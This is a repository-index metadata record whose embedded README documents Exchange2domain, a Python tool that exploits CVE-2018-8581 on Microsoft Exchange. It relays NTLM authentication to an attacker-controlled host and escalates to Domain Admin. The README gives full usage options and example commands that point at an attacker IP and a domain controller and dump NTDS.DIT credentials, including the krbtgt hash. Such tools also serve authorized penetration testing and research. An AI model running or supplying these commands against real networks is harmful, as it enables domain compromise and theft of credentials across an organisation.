{"id":13389826,"url":"https://github.com/Ridter/Exchange2domain","last_synced_at":"2025-03-13T14:32:07.976Z","repository":{"id":90374482,"uuid":"167313064","full_name":"Ridter/Exchange2domain","owner":"Ridter","description":"CVE-2018-8581","archived":false,"fork":false,"pushed_at":"2022-10-21T08:29:33.000Z","size":150,"stargazers_count":371,"open_issues_count":3,"forks_count":78,"subscribers_count":10,"default_branch":"master","last_synced_at":"2025-03-06T07:16:40.721Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Ridter.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null}},"created_at":"2019-01-24T06:08:23.000Z","updated_at":"2025-01-06T03:47:20.000Z","dependencies_parsed_at":null,"dependency_job_id":"a77fb8e3-e0c2-47a5-8559-4b368c08df23","html_url":"https://github.com/Ridter/Exchange2domain","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Ridter%2FExchange2domain","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Ridter%2FExchange2domain/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Ridter%2FExchange2domain/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Ridter%2FExchange2domain/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Ridter","download_url":"https://codeload.github.com/Ridter/Exchange2domain/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":243422635,"owners_count":20288494,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-07-30T13:01:34.572Z","updated_at":"2025-03-13T14:32:07.285Z","avatar_url":"https://github.com/Ridter.png","language":"Python","funding_links":[],"categories":["Python (1887)","Python"],"sub_categories":[],"readme":"# Exchange2domain\n\n[![Python 2.7](https://img.shields.io/badge/python-2.7-yellow.svg)](https://www.python.org/) \n\nAll in One tools of [privexchange](https://github.com/dirkjanm/privexchange/) . You only need to open the web server port, so **no high privileges are required**.\n\nGreat writeup! [Abusing Exchange: One API call away from Domain Admin](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/).\n\n## Requirements\nThese tools require [impacket](https://github.com/SecureAuthCorp/impacket). You can install it from pip with `pip install impacket`.\n\n## Usage\n```\nusage: Exchange2domain.py [-h] [-u USERNAME] [-d DOMAIN] [-p PASSWORD]\n                          [--hashes HASHES] [--no-ssl]\n                          [--exchange-port EXCHANGE_PORT] -ah ATTACKER_HOST\n                          [-ap ATTACKER_PORT] -th TARGET_HOST\n                          [-exec-method [{smbexec,wmiexec,mmcexec}]]\n                          [--exchange-version EXCHANGE_VERSION]\n                          [--attacker-page ATTACKER_PAGE]\n                          [--just-dc-user USERNAME] [--debug]\n                          HOSTNAME\n\nExchange your privileges for Domain Admin privs by abusing Exchange. Use me\nwith ntlmrelayx\n\npositional arguments:\n  HOSTNAME              Hostname/ip of the Exchange server\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -u USERNAME, --user USERNAME\n                        username for authentication\n  -d DOMAIN, --domain DOMAIN\n                        domain the user is in (FQDN or NETBIOS domain name)\n  -p PASSWORD, --password PASSWORD\n                        Password for authentication, will prompt if not\n                        specified and no NT:NTLM hashes are supplied\n  --hashes HASHES       LM:NLTM hashes\n  --no-ssl              Don't use HTTPS (connects on port 80)\n  --exchange-port EXCHANGE_PORT\n                        Alternative EWS port (default: 443 or 80)\n  -ah ATTACKER_HOST, --attacker-host ATTACKER_HOST\n                        Attacker hostname or IP\n  -ap ATTACKER_PORT, --attacker-port ATTACKER_PORT\n                        Port on which the relay attack runs (default: 80)\n  -th TARGET_HOST, --target-host TARGET_HOST\n                        Hostname or IP of the DC\n  -exec-method [{smbexec,wmiexec,mmcexec}]\n                        Remote exec method to use at target (only when using\n                        -use-vss). Default: smbexec\n  --exchange-version EXCHANGE_VERSION\n                        Exchange version of the target (default: Exchange2013,\n                        choices:Exchange2010,Exchange2010_SP1,Exchange2010_SP2\n                        ,Exchange2013,Exchange2013_SP1,Exchange2016)\n  --attacker-page ATTACKER_PAGE\n                        Page to request on attacker server (default:\n                        /privexchange/)\n  --just-dc-user USERNAME\n                        Extract only NTDS.DIT data for the user specified.\n                        Only available for DRSUAPI approach.\n  --debug               Enable debug output\n```\n\nexample:\n```\npython Exchange2domain.py -ah attackterip   -ap listenport -u user -p password -d domain.com -th DCip MailServerip \n```\n\n![](https://blogpics-1251691280.file.myqcloud.com/imgs/20190129132650.png)\n\n\n\nIf you only want to dump `krbtgt`, use `--just-dc-user`.\n\nexample:\n```\npython Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip  --just-dc-user krbtgt MailServerip\n```\n\n## Update\n\nAuto backup old SD for restore.\n\n![](https://blogpics-1251691280.file.myqcloud.com/imgs/20190621191722.png)","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FRidter%2FExchange2domain","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FRidter%2FExchange2domain","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FRidter%2FExchange2domain/lists"}